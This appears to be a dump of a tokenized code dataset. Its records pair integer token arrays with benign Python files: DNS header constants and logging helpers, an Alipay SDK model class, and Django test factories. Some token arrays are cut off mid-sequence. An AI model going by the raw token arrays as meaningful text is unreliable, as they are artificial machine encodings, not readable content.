30537, 30279, 13, 1678, 1480, 449, 29898, 3827, 29897, 13, 1678, 8952, 353, 4800, 353, 6629, 13, 1678, 937, 29918, 978, 353, 1833, 29918, 978, 353, 4876, 353, 6629, 13, 1678, 1059, 29918, 1761, 353, 5159, 13, 1678, 1059, 29918, 5182, 353, 5159, 13, 1678, 2446, 29918, 2271, 353, 5591, 29908, 13, 13, 1678, 565, 2009, 29889, 7194, 29901, 13, 4706, 8952, 353, 2009, 29889, 7194, 29889, 657, 877, 6786, 3788, 1495, 13, 4706, 937, 29918, 978, 353, 2009, 29889, 7194, 29889, 657, 877, 4102, 29918, 978, 3788, 1495, 13, 4706, 1833, 29918, 978, 353, 2009, 29889, 7194, 29889, 657, 877, 4230, 29918, 978, 3788, 1495, 13, 4706, 4876, 353, 2009, 29889, 7194, 29889, 657, 877, 5269, 3788, 1495, 13, 4706, 1059, 29918, 401, 353, 2009, 29889, 7194, 29889, 657, 877, 2704, 29918, 401, 3788, 1495, 13, 1678, 25342, 2009, 29889, 5438, 29901, 13, 4706, 565, 525, 29879, 7238, 786, 29915, 297, 2009, 29889, 5438, 29901, 13, 9651, 1804, 786, 29918, 1493, 29898, 3827, 29897, 13, 4706, 1683, 29901, 13, 9651, 8952, 353, 2009, 29889, 5438, 1839, 6786, 2033, 13, 9651, 4800, 353, 2009, 29889, 5438, 1839, 5630, 2033, 13, 9651, 2446, 29918, 2271, 353, 2009, 29889, 5438, 29889, 657, 877, 4622, 742, 2446, 29918, 2271, 29897, 13, 9651, 1404, 353, 15585, 403, 29898, 6786, 29922, 6786, 29892, 4800, 29922, 5630, 29897, 13, 9651, 565, 1404, 338, 451, 6213, 29901, 13, 18884, 565, 1404, 29889, 275, 29918, 4925, 29901, 13, 462, 1678, 6464, 29898, 3827, 29892, 1404, 29897, 13, 462, 1678, 736, 9056, 5103, 24735, 29898, 4622, 29918, 2271, 29897, 13, 18884, 1683, 29901, 13, 462, 1678, 1059, 29918, 1761, 29889, 4397, 877, 7507, 29918, 26061, 1495, 13, 9651, 1683, 29901, 13, 18884, 1059, 29918, 1761, 29889, 4397, 877, 7507, 29918, 26061, 1495, 13, 13, 1678, 5694, 29918, 5975, 353, 426, 13, 4706, 376, 2704, 29918, 1761, 1115, 1059, 29918, 1761, 29892, 13, 4706, 376, 2704, 29918, 5182, 1115, 1059, 29918, 5182, 29892, 13, 4706, 376, 6786, 1115, 8952, 29892, 13, 4706, 376, 4102, 29918, 978, 1115, 937, 29918, 978, 29892, 13, 4706, 376, 4230, 29918, 978, 1115, 1833, 29918, 978, 29892, 13, 4706, 376, 5269, 1115, 4876, 29892, 13, 1678, 500, 13, 1678, 736, 4050, 29898, 3827, 29892, 525, 17492, 29914, 7507, 29889, 1420, 742, 5694, 29918, 5975, 29897, 13, 13, 1753, 1804, 786, 29918, 1493, 29898, 3827, 1125, 13, 1678, 8952, 353, 4800, 353, 529, 25711, 17013, 29958, 353, 6629, 13, 13, 1678, 937, 29918, 978, 353, 1833, 29918, 978, 353, 4876, 353, 6629, 13, 1678, 1059, 29918, 1761, 353, 5159, 13, 1678, 1059, 29918, 5182, 353, 5159, 13, 13, 1678, 565, 2009, 29889, 5438, 29901, 13, 4706, 8952, 353, 2009, 29889, 5438, 1839, 6786, 2033, 13, 4706, 4800, 353, 2009, 29889, 5438, 1839, 5630, 2033, 13, 4706, 4800, 29906, 353, 2009, 29889, 5438, 1839, 5630, 29918, 26897, 2033, 13, 4706, 937, 29918, 978, 353, 2009, 29889, 5438, 1839, 4102, 29918, 978, 2033, 13, 4706, 1833, 29918, 978, 353, 2009, 29889, 5438, 1839, 4230, 29918, 978, 2033, 13, 4706, 4876, 353, 2009, 29889, 5438, 1839, 5269, 2033, 13, 4706, 396, 338, 29918, 303, 3470, 353, 2009, 29889, 5438, 1839, 275, 29918, 303, 3470, 2033, 13, 13, 4706, 565, 4800, 1275, 529, 25711, 17013, 29958, 322, 2854, 29918, 3364, 29898, 5630, 29897, 1275, 29871, 29900, 29901, 13, 9651, 565, 451, 4911, 29889, 12650, 29889, 4572, 29898, 6786, 29922, 6786, 1125, 13, 18884, 1404, 353, 4911, 29889, 12650, 29889, 3258, 29918, 1792, 29898, 6786, 29892, 4876, 29892, 4800, 29897, 13, 18884, 1404, 29889, 4102, 29918, 978, 353, 937, 29918, 978, 13, 18884, 1404, 29889, 4230, 29918, 978, 353, 1833, 29918, 978, 13, 18884, 1404, 29889, 7620, 580, 13, 13, 18884, 1404, 353, 15585, 403, 29898, 6786, 29922, 6786, 29892, 4800, 29922, 5630, 29897, 13, 18884, 565, 1404, 338, 451, 6213, 29901, 13, 462, 1678, 565, 1404, 29889, 275, 29918, 4925, 29901, 13, 462, 4706, 6464, 29898, 3827, 29892, 1404, 29897, 13, 462, 4706, 736, 9056, 5103, 24735, 11219, 1495, 13, 9651, 1683, 29901, 13, 18884, 1059, 29918, 1761, 29889, 4397, 877, 15866, 549, 29918, 1792, 1495, 13, 18884, 1059, 29918, 1761, 29889, 4397, 877, 4530, 786, 29918, 26061, 1495, 13, 4706, 1683, 29901, 13, 9651, 1059, 29918, 1761, 29889, 4397, 877, 15866, 549, 29918, 5630, 1495, 13, 9651, 1059, 29918, 1761, 29889, 4397, 877, 4530, 786, 29918, 26061, 1495, 13, 9651, 1059, 29918, 5182, 29889, 4397, 877, 5630, 1495, 13, 9651, 1059, 29918, 5182, 29889, 4397, 877, 5630, 29906, 1495, 13, 4706, 5694, 29918, 5975, 353, 426, 13, 9651, 376, 2704, 29918, 1761, 1115, 1059, 29918, 1761, 29892, 13, 9651, 376, 2704, 29918, 5182, 1115, 1059, 29918, 5182, 29892, 13, 9651, 376, 6786, 1115, 8952, 29892, 13, 9651, 376, 4102, 29918, 978, 1115, 937, 29918, 978, 29892, 13, 9651, 376, 4230, 29918, 978, 1115, 1833, 29918, 978, 29892, 13, 9651, 376, 5269, 1115, 4876, 29892, 13, 4706, 500, 13, 4706, 396, 2346, 353, 3142, 12508, 29898, 7382, 29918, 5975, 29897, 13, 4706, 396, 3142, 353, 525, 4286, 7122, 4197, 13, 4706, 396, 268, 11837, 877, 29881, 550, 1821, 29901, 7507, 5477, 13, 4706, 396, 268, 525, 29973, 742, 13, 4706, 396, 2346, 2314, 13, 4706, 396, 736, 9056, 5103, 24735, 29898, 2271, 29897, 13, 4706, 736, 4050, 29898, 3827, 29892, 525, 17492, 29914, 7507, 29889, 1420, 742, 5694, 29918, 5975, 29897, 13, 1678, 1683, 29901, 13, 4706, 12020, 9056, 29946, 29900, 29946, 13, 13, 1753, 2854, 29918, 3364, 29898, 5630, 1125, 13, 1678, 9995, 13, 1678, 12725, 4800, 13, 1678, 11842, 9331, 29901, 13, 1678, 448, 421, 5630, 6998, 13, 1678, 9995, 13, 1678, 565, 7431, 29898, 5630, 29897, 529, 29871, 29953, 29901, 13, 4706, 736, 29871, 29896, 13, 1678, 736, 29871, 29900, 13, 2 ]
utils.py
HenryZerocool/DoNotSend
0
162401
<gh_stars>0 #!/usr/bin/env python3 import socket import logging import colorlog def get_ip_from_hostname(hostname: str) -> str or None: try: ip = socket.gethostbyname(hostname) except socket.gaierror as e: logging.error(e) return None else: return ip def init_logger(log_level: int = logging.DEBUG): colorlog_format = "%(log_color)s [%(asctime)s] %(levelname)s:%(message)s" logging.basicConfig( # filename="file.log", # encoding="utf-8", format=colorlog_format, level=log_level, ) class DNSHeaders: class QR: Query = 0 Answer = 1 class OpCode: StdQuery = 0 InvQuery = 1 SrvStatusQuery = 2 class Type: HostAddr = 0x0001 NameServer = 0x0002 CName = 0x0005 Text = 0x0010 MailServer = 0x000F class RCode: NoErr = 0 FormatErr = 1 ServerFailure = 2 NameErr = 3 NotImpl = 4 Refused = 5 class DNSQuestion: class QType: HostAddr = 0x0001 NameServer = 0x0002 MailServer = 0x000F class QClass: IP = 0x0001 class DNSAnswer: class Type: HostAddr = 0x0001 NameServer = 0x0002 CName = 0x0005 Text = 0x0010 MailServer = 0x000F class Class: IP = 0x0001
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 13, 5215, 9909, 13, 5215, 12183, 13, 5215, 2927, 1188, 13, 13, 13, 1753, 679, 29918, 666, 29918, 3166, 29918, 28988, 29898, 28988, 29901, 851, 29897, 1599, 851, 470, 6213, 29901, 13, 1678, 1018, 29901, 13, 4706, 10377, 353, 9909, 29889, 29887, 621, 520, 29890, 948, 420, 29898, 28988, 29897, 13, 1678, 5174, 9909, 29889, 3249, 631, 729, 408, 321, 29901, 13, 4706, 12183, 29889, 2704, 29898, 29872, 29897, 13, 4706, 736, 6213, 13, 1678, 1683, 29901, 13, 4706, 736, 10377, 13, 13, 13, 1753, 2069, 29918, 21707, 29898, 1188, 29918, 5563, 29901, 938, 353, 12183, 29889, 18525, 1125, 13, 1678, 2927, 1188, 29918, 4830, 353, 11860, 29898, 1188, 29918, 2780, 29897, 29879, 518, 29995, 29898, 294, 312, 603, 29897, 29879, 29962, 1273, 29898, 5563, 978, 29897, 29879, 16664, 29898, 4906, 29897, 29879, 29908, 13, 1678, 12183, 29889, 16121, 3991, 29898, 13, 4706, 396, 10422, 543, 1445, 29889, 1188, 613, 13, 4706, 396, 8025, 543, 9420, 29899, 29947, 613, 13, 4706, 3402, 29922, 2780, 1188, 29918, 4830, 29892, 13, 4706, 3233, 29922, 1188, 29918, 5563, 29892, 13, 1678, 1723, 13, 13, 13, 1990, 16332, 18163, 29901, 13, 1678, 770, 660, 29934, 29901, 13, 4706, 13641, 353, 29871, 29900, 13, 4706, 673, 353, 29871, 29896, 13, 13, 1678, 770, 6461, 3399, 29901, 13, 4706, 624, 29881, 3010, 353, 29871, 29900, 13, 4706, 15518, 3010, 353, 29871, 29896, 13, 4706, 317, 15291, 5709, 3010, 353, 29871, 29906, 13, 13, 1678, 770, 5167, 29901, 13, 4706, 16956, 2528, 29878, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29896, 13, 4706, 4408, 6004, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29906, 13, 4706, 315, 1170, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29945, 13, 4706, 3992, 353, 29871, 29900, 29916, 29900, 29900, 29896, 29900, 13, 4706, 18623, 6004, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29943, 13, 13, 1678, 770, 390, 3399, 29901, 13, 4706, 1939, 19212, 353, 29871, 29900, 13, 4706, 19191, 19212, 353, 29871, 29896, 13, 4706, 5656, 24155, 353, 29871, 29906, 13, 4706, 4408, 19212, 353, 29871, 29941, 13, 4706, 2216, 6647, 353, 29871, 29946, 13, 4706, 9897, 3880, 353, 29871, 29945, 13, 13, 13, 1990, 16332, 16492, 29901, 13, 1678, 770, 660, 1542, 29901, 13, 4706, 16956, 2528, 29878, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29896, 13, 4706, 4408, 6004, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29906, 13, 4706, 18623, 6004, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29943, 13, 13, 1678, 770, 660, 2385, 29901, 13, 4706, 5641, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29896, 13, 13, 13, 1990, 16332, 22550, 29901, 13, 1678, 770, 5167, 29901, 13, 4706, 16956, 2528, 29878, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29896, 13, 4706, 4408, 6004, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29906, 13, 4706, 315, 1170, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29945, 13, 4706, 3992, 353, 29871, 29900, 29916, 29900, 29900, 29896, 29900, 13, 4706, 18623, 6004, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29943, 13, 13, 1678, 770, 4134, 29901, 13, 4706, 5641, 353, 29871, 29900, 29916, 29900, 29900, 29900, 29896, 13, 2 ]
alipay/aop/api/domain/AlipayOpenOperationBizfeeAftechCancelModel.py
snowxmas/alipay-sdk-python-all
213
80541
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * class AlipayOpenOperationBizfeeAftechCancelModel(object): def __init__(self): self._app_name = None self._gmt_service = None self._order_no = None self._out_biz_no = None self._tnt_inst_id = None @property def app_name(self): return self._app_name @app_name.setter def app_name(self, value): self._app_name = value @property def gmt_service(self): return self._gmt_service @gmt_service.setter def gmt_service(self, value): self._gmt_service = value @property def order_no(self): return self._order_no @order_no.setter def order_no(self, value): self._order_no = value @property def out_biz_no(self): return self._out_biz_no @out_biz_no.setter def out_biz_no(self, value): self._out_biz_no = value @property def tnt_inst_id(self): return self._tnt_inst_id @tnt_inst_id.setter def tnt_inst_id(self, value): self._tnt_inst_id = value def to_alipay_dict(self): params = dict() if self.app_name: if hasattr(self.app_name, 'to_alipay_dict'): params['app_name'] = self.app_name.to_alipay_dict() else: params['app_name'] = self.app_name if self.gmt_service: if hasattr(self.gmt_service, 'to_alipay_dict'): params['gmt_service'] = self.gmt_service.to_alipay_dict() else: params['gmt_service'] = self.gmt_service if self.order_no: if hasattr(self.order_no, 'to_alipay_dict'): params['order_no'] = self.order_no.to_alipay_dict() else: params['order_no'] = self.order_no if self.out_biz_no: if hasattr(self.out_biz_no, 'to_alipay_dict'): params['out_biz_no'] = self.out_biz_no.to_alipay_dict() else: params['out_biz_no'] = self.out_biz_no if self.tnt_inst_id: if hasattr(self.tnt_inst_id, 'to_alipay_dict'): params['tnt_inst_id'] = self.tnt_inst_id.to_alipay_dict() else: params['tnt_inst_id'] = self.tnt_inst_id return params @staticmethod def from_alipay_dict(d): if not d: return None o = AlipayOpenOperationBizfeeAftechCancelModel() if 'app_name' in d: o.app_name = d['app_name'] if 'gmt_service' in d: o.gmt_service = d['gmt_service'] if 'order_no' in d: o.order_no = d['order_no'] if 'out_biz_no' in d: o.out_biz_no = d['out_biz_no'] if 'tnt_inst_id' in d: o.tnt_inst_id = d['tnt_inst_id'] return o
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 5215, 4390, 13, 13, 3166, 394, 666, 388, 29889, 29874, 459, 29889, 2754, 29889, 23362, 29889, 4736, 26570, 1053, 334, 13, 13, 13, 1990, 319, 3466, 388, 6585, 10925, 29933, 466, 1725, 29872, 29909, 29888, 11345, 19420, 3195, 29898, 3318, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 3032, 932, 29918, 978, 353, 6213, 13, 4706, 1583, 3032, 29887, 4378, 29918, 5509, 353, 6213, 13, 4706, 1583, 3032, 2098, 29918, 1217, 353, 6213, 13, 4706, 1583, 3032, 449, 29918, 29890, 466, 29918, 1217, 353, 6213, 13, 4706, 1583, 3032, 29873, 593, 29918, 2611, 29918, 333, 353, 6213, 13, 13, 1678, 732, 6799, 13, 1678, 822, 623, 29918, 978, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 932, 29918, 978, 13, 13, 1678, 732, 932, 29918, 978, 29889, 842, 357, 13, 1678, 822, 623, 29918, 978, 29898, 1311, 29892, 995, 1125, 13, 4706, 1583, 3032, 932, 29918, 978, 353, 995, 13, 1678, 732, 6799, 13, 1678, 822, 330, 4378, 29918, 5509, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 29887, 4378, 29918, 5509, 13, 13, 1678, 732, 29887, 4378, 29918, 5509, 29889, 842, 357, 13, 1678, 822, 330, 4378, 29918, 5509, 29898, 1311, 29892, 995, 1125, 13, 4706, 1583, 3032, 29887, 4378, 29918, 5509, 353, 995, 13, 1678, 732, 6799, 13, 1678, 822, 1797, 29918, 1217, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 2098, 29918, 1217, 13, 13, 1678, 732, 2098, 29918, 1217, 29889, 842, 357, 13, 1678, 822, 1797, 29918, 1217, 29898, 1311, 29892, 995, 1125, 13, 4706, 1583, 3032, 2098, 29918, 1217, 353, 995, 13, 1678, 732, 6799, 13, 1678, 822, 714, 29918, 29890, 466, 29918, 1217, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 449, 29918, 29890, 466, 29918, 1217, 13, 13, 1678, 732, 449, 29918, 29890, 466, 29918, 1217, 29889, 842, 357, 13, 1678, 822, 714, 29918, 29890, 466, 29918, 1217, 29898, 1311, 29892, 995, 1125, 13, 4706, 1583, 3032, 449, 29918, 29890, 466, 29918, 1217, 353, 995, 13, 1678, 732, 6799, 13, 1678, 822, 260, 593, 29918, 2611, 29918, 333, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 29873, 593, 29918, 2611, 29918, 333, 13, 13, 1678, 732, 29873, 593, 29918, 2611, 29918, 333, 29889, 842, 357, 13, 1678, 822, 260, 593, 29918, 2611, 29918, 333, 29898, 1311, 29892, 995, 1125, 13, 4706, 1583, 3032, 29873, 593, 29918, 2611, 29918, 333, 353, 995, 13, 13, 13, 1678, 822, 304, 29918, 284, 666, 388, 29918, 8977, 29898, 1311, 1125, 13, 4706, 8636, 353, 9657, 580, 13, 4706, 565, 1583, 29889, 932, 29918, 978, 29901, 13, 9651, 565, 756, 5552, 29898, 1311, 29889, 932, 29918, 978, 29892, 525, 517, 29918, 284, 666, 388, 29918, 8977, 29374, 13, 18884, 8636, 1839, 932, 29918, 978, 2033, 353, 1583, 29889, 932, 29918, 978, 29889, 517, 29918, 284, 666, 388, 29918, 8977, 580, 13, 9651, 1683, 29901, 13, 18884, 8636, 1839, 932, 29918, 978, 2033, 353, 1583, 29889, 932, 29918, 978, 13, 4706, 565, 1583, 29889, 29887, 4378, 29918, 5509, 29901, 13, 9651, 565, 756, 5552, 29898, 1311, 29889, 29887, 4378, 29918, 5509, 29892, 525, 517, 29918, 284, 666, 388, 29918, 8977, 29374, 13, 18884, 8636, 1839, 29887, 4378, 29918, 5509, 2033, 353, 1583, 29889, 29887, 4378, 29918, 5509, 29889, 517, 29918, 284, 666, 388, 29918, 8977, 580, 13, 9651, 1683, 29901, 13, 18884, 8636, 1839, 29887, 4378, 29918, 5509, 2033, 353, 1583, 29889, 29887, 4378, 29918, 5509, 13, 4706, 565, 1583, 29889, 2098, 29918, 1217, 29901, 13, 9651, 565, 756, 5552, 29898, 1311, 29889, 2098, 29918, 1217, 29892, 525, 517, 29918, 284, 666, 388, 29918, 8977, 29374, 13, 18884, 8636, 1839, 2098, 29918, 1217, 2033, 353, 1583, 29889, 2098, 29918, 1217, 29889, 517, 29918, 284, 666, 388, 29918, 8977, 580, 13, 9651, 1683, 29901, 13, 18884, 8636, 1839, 2098, 29918, 1217, 2033, 353, 1583, 29889, 2098, 29918, 1217, 13, 4706, 565, 1583, 29889, 449, 29918, 29890, 466, 29918, 1217, 29901, 13, 9651, 565, 756, 5552, 29898, 1311, 29889, 449, 29918, 29890, 466, 29918, 1217, 29892, 525, 517, 29918, 284, 666, 388, 29918, 8977, 29374, 13, 18884, 8636, 1839, 449, 29918, 29890, 466, 29918, 1217, 2033, 353, 1583, 29889, 449, 29918, 29890, 466, 29918, 1217, 29889, 517, 29918, 284, 666, 388, 29918, 8977, 580, 13, 9651, 1683, 29901, 13, 18884, 8636, 1839, 449, 29918, 29890, 466, 29918, 1217, 2033, 353, 1583, 29889, 449, 29918, 29890, 466, 29918, 1217, 13, 4706, 565, 1583, 29889, 29873, 593, 29918, 2611, 29918, 333, 29901, 13, 9651, 565, 756, 5552, 29898, 1311, 29889, 29873, 593, 29918, 2611, 29918, 333, 29892, 525, 517, 29918, 284, 666, 388, 29918, 8977, 29374, 13, 18884, 8636, 1839, 29873, 593, 29918, 2611, 29918, 333, 2033, 353, 1583, 29889, 29873, 593, 29918, 2611, 29918, 333, 29889, 517, 29918, 284, 666, 388, 29918, 8977, 580, 13, 9651, 1683, 29901, 13, 18884, 8636, 1839, 29873, 593, 29918, 2611, 29918, 333, 2033, 353, 1583, 29889, 29873, 593, 29918, 2611, 29918, 333, 13, 4706, 736, 8636, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 515, 29918, 284, 666, 388, 29918, 8977, 29898, 29881, 1125, 13, 4706, 565, 451, 270, 29901, 13, 9651, 736, 6213, 13, 4706, 288, 353, 319, 3466, 388, 6585, 10925, 29933, 466, 1725, 29872, 29909, 29888, 11345, 19420, 3195, 580, 13, 4706, 565, 525, 932, 29918, 978, 29915, 297, 270, 29901, 13, 9651, 288, 29889, 932, 29918, 978, 353, 270, 1839, 932, 29918, 978, 2033, 13, 4706, 565, 525, 29887, 4378, 29918, 5509, 29915, 297, 270, 29901, 13, 9651, 288, 29889, 29887, 4378, 29918, 5509, 353, 270, 1839, 29887, 4378, 29918, 5509, 2033, 13, 4706, 565, 525, 2098, 29918, 1217, 29915, 297, 270, 29901, 13, 9651, 288, 29889, 2098, 29918, 1217, 353, 270, 1839, 2098, 29918, 1217, 2033, 13, 4706, 565, 525, 449, 29918, 29890, 466, 29918, 1217, 29915, 297, 270, 29901, 13, 9651, 288, 29889, 449, 29918, 29890, 466, 29918, 1217, 353, 270, 1839, 449, 29918, 29890, 466, 29918, 1217, 2033, 13, 4706, 565, 525, 29873, 593, 29918, 2611, 29918, 333, 29915, 297, 270, 29901, 13, 9651, 288, 29889, 29873, 593, 29918, 2611, 29918, 333, 353, 270, 1839, 29873, 593, 29918, 2611, 29918, 333, 2033, 13, 4706, 736, 288, 13, 13, 13, 2 ]
editor/tests/factories.py
CivicKnowledge/metaeditor
1
180581
# -*- coding: utf-8 -*- import factory from accounts.tests.factories import UserFactory from editor.constants import REGION_CHOICES from editor.models import Dataset, Format, Category, Source, Extension, DataFile class CategoryFactory(factory.django.DjangoModelFactory): class Meta: model = Category name = factory.Sequence(lambda n: 'Test dataset %03d' % n) class SourceFactory(factory.django.DjangoModelFactory): class Meta: model = Source name = factory.Sequence(lambda n: 'Test source %03d' % n) abbreviation = factory.Sequence(lambda n: 'Test source %03d abbreviation' % n) domain = factory.Sequence(lambda n: 'test.source-%03d.org' % n) homepage = factory.Sequence(lambda n: 'http://test.source-%03d.org' % n) about = factory.Sequence(lambda n: 'Test source %03d about' % n) @factory.post_generation def categories(self, create, extracted, **kwargs): if not create: # Simple build, do nothing. return if extracted: # A list of categories were passed in, use them for category in extracted: self.categories.add(category) class FormatFactory(factory.django.DjangoModelFactory): class Meta: model = Format name = factory.Sequence(lambda n: 'Test format %03d' % n) class ExtensionFactory(factory.django.DjangoModelFactory): class Meta: model = Extension name = factory.Sequence(lambda n: 'ext%03d' % n) class DatasetFactory(factory.django.DjangoModelFactory): class Meta: model = Dataset title = factory.Sequence(lambda n: 'Test dataset %03d' % n) source = factory.SubFactory(SourceFactory) variant = factory.Sequence(lambda n: 'Test dataset %03d variant' % n) start_year = 1976 end_year = 1976 coverage = '' region = REGION_CHOICES[0][0] page = factory.Sequence(lambda n: 'Test dataset %03d page' % n) download_page = factory.Sequence(lambda n: 'Test dataset %03d download page' % n) contacts = factory.Sequence(lambda n: 'Test dataset %03d contacts' % n) entry_time_minutes = 11 user = factory.SubFactory(UserFactory) vid = factory.Sequence(lambda n: 'd0%03d' % n) @factory.post_generation def categories(self, create, extracted, **kwargs): if not create: # Simple build, do nothing. return if extracted: # A list of categories were passed in, use them for category in extracted: self.categories.add(category) @factory.post_generation def formats(self, create, extracted, **kwargs): if not create: # Simple build, do nothing. return if extracted: # A list of formats were passed in, use them for format_ in extracted: self.categories.add(format_) class DataFileFactory(factory.django.DjangoModelFactory): class Meta: model = DataFile name = factory.Sequence(lambda n: 'Test datafile %03d' % n) dataset = factory.SubFactory(DatasetFactory) file_format = factory.SubFactory(FormatFactory)
[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 5215, 12529, 13, 13, 3166, 15303, 29889, 21150, 29889, 17028, 3842, 1053, 4911, 5126, 13, 13, 3166, 6920, 29889, 3075, 1934, 1053, 5195, 29954, 2725, 29918, 3210, 29949, 2965, 2890, 13, 3166, 6920, 29889, 9794, 1053, 13373, 24541, 29892, 19191, 29892, 17943, 29892, 7562, 29892, 7338, 2673, 29892, 3630, 2283, 13, 13, 13, 1990, 17943, 5126, 29898, 14399, 29889, 14095, 29889, 29928, 5364, 3195, 5126, 1125, 13, 13, 1678, 770, 20553, 29901, 13, 4706, 1904, 353, 17943, 13, 13, 1678, 1024, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 8783, 1273, 29900, 29941, 29881, 29915, 1273, 302, 29897, 13, 13, 13, 1990, 7562, 5126, 29898, 14399, 29889, 14095, 29889, 29928, 5364, 3195, 5126, 1125, 13, 13, 1678, 770, 20553, 29901, 13, 4706, 1904, 353, 7562, 13, 13, 1678, 1024, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 2752, 1273, 29900, 29941, 29881, 29915, 1273, 302, 29897, 13, 1678, 29759, 14641, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 2752, 1273, 29900, 29941, 29881, 29759, 14641, 29915, 1273, 302, 29897, 13, 1678, 5354, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 1688, 29889, 4993, 19222, 29900, 29941, 29881, 29889, 990, 29915, 1273, 302, 29897, 13, 1678, 3271, 3488, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 1124, 597, 1688, 29889, 4993, 19222, 29900, 29941, 29881, 29889, 990, 29915, 1273, 302, 29897, 13, 1678, 1048, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 2752, 1273, 29900, 29941, 29881, 1048, 29915, 1273, 302, 29897, 13, 13, 1678, 732, 14399, 29889, 2490, 29918, 4738, 362, 13, 1678, 822, 13997, 29898, 1311, 29892, 1653, 29892, 23892, 29892, 3579, 19290, 1125, 13, 4706, 565, 451, 1653, 29901, 13, 9651, 396, 12545, 2048, 29892, 437, 3078, 29889, 13, 9651, 736, 13, 13, 4706, 565, 23892, 29901, 13, 9651, 396, 319, 1051, 310, 13997, 892, 4502, 297, 29892, 671, 963, 13, 9651, 363, 7663, 297, 23892, 29901, 13, 18884, 1583, 29889, 20683, 29889, 1202, 29898, 7320, 29897, 13, 13, 13, 1990, 19191, 5126, 29898, 14399, 29889, 14095, 29889, 29928, 5364, 3195, 5126, 1125, 13, 13, 1678, 770, 20553, 29901, 13, 4706, 1904, 353, 19191, 13, 13, 1678, 1024, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 3402, 1273, 29900, 29941, 29881, 29915, 1273, 302, 29897, 13, 13, 13, 1990, 7338, 2673, 5126, 29898, 14399, 29889, 14095, 29889, 29928, 5364, 3195, 5126, 1125, 13, 13, 1678, 770, 20553, 29901, 13, 4706, 1904, 353, 7338, 2673, 13, 13, 1678, 1024, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 1062, 29995, 29900, 29941, 29881, 29915, 1273, 302, 29897, 13, 13, 13, 1990, 13373, 24541, 5126, 29898, 14399, 29889, 14095, 29889, 29928, 5364, 3195, 5126, 1125, 13, 13, 1678, 770, 20553, 29901, 13, 4706, 1904, 353, 13373, 24541, 13, 13, 1678, 3611, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 8783, 1273, 29900, 29941, 29881, 29915, 1273, 302, 29897, 13, 1678, 2752, 353, 12529, 29889, 4035, 5126, 29898, 4435, 5126, 29897, 13, 1678, 17305, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 8783, 1273, 29900, 29941, 29881, 17305, 29915, 1273, 302, 29897, 13, 1678, 1369, 29918, 6360, 353, 29871, 29896, 29929, 29955, 29953, 13, 1678, 1095, 29918, 6360, 353, 29871, 29896, 29929, 29955, 29953, 13, 1678, 23746, 353, 6629, 13, 1678, 5120, 353, 5195, 29954, 2725, 29918, 3210, 29949, 2965, 2890, 29961, 29900, 3816, 29900, 29962, 13, 1678, 1813, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 8783, 1273, 29900, 29941, 29881, 1813, 29915, 1273, 302, 29897, 13, 1678, 5142, 29918, 3488, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 8783, 1273, 29900, 29941, 29881, 5142, 1813, 29915, 1273, 302, 29897, 13, 1678, 25957, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 8783, 1273, 29900, 29941, 29881, 25957, 29915, 1273, 302, 29897, 13, 1678, 6251, 29918, 2230, 29918, 1195, 2667, 353, 29871, 29896, 29896, 13, 1678, 1404, 353, 12529, 29889, 4035, 5126, 29898, 2659, 5126, 29897, 13, 1678, 7840, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 29881, 29900, 29995, 29900, 29941, 29881, 29915, 1273, 302, 29897, 13, 13, 1678, 732, 14399, 29889, 2490, 29918, 4738, 362, 13, 1678, 822, 13997, 29898, 1311, 29892, 1653, 29892, 23892, 29892, 3579, 19290, 1125, 13, 4706, 565, 451, 1653, 29901, 13, 9651, 396, 12545, 2048, 29892, 437, 3078, 29889, 13, 9651, 736, 13, 13, 4706, 565, 23892, 29901, 13, 9651, 396, 319, 1051, 310, 13997, 892, 4502, 297, 29892, 671, 963, 13, 9651, 363, 7663, 297, 23892, 29901, 13, 18884, 1583, 29889, 20683, 29889, 1202, 29898, 7320, 29897, 13, 13, 1678, 732, 14399, 29889, 2490, 29918, 4738, 362, 13, 1678, 822, 21971, 29898, 1311, 29892, 1653, 29892, 23892, 29892, 3579, 19290, 1125, 13, 4706, 565, 451, 1653, 29901, 13, 9651, 396, 12545, 2048, 29892, 437, 3078, 29889, 13, 9651, 736, 13, 13, 4706, 565, 23892, 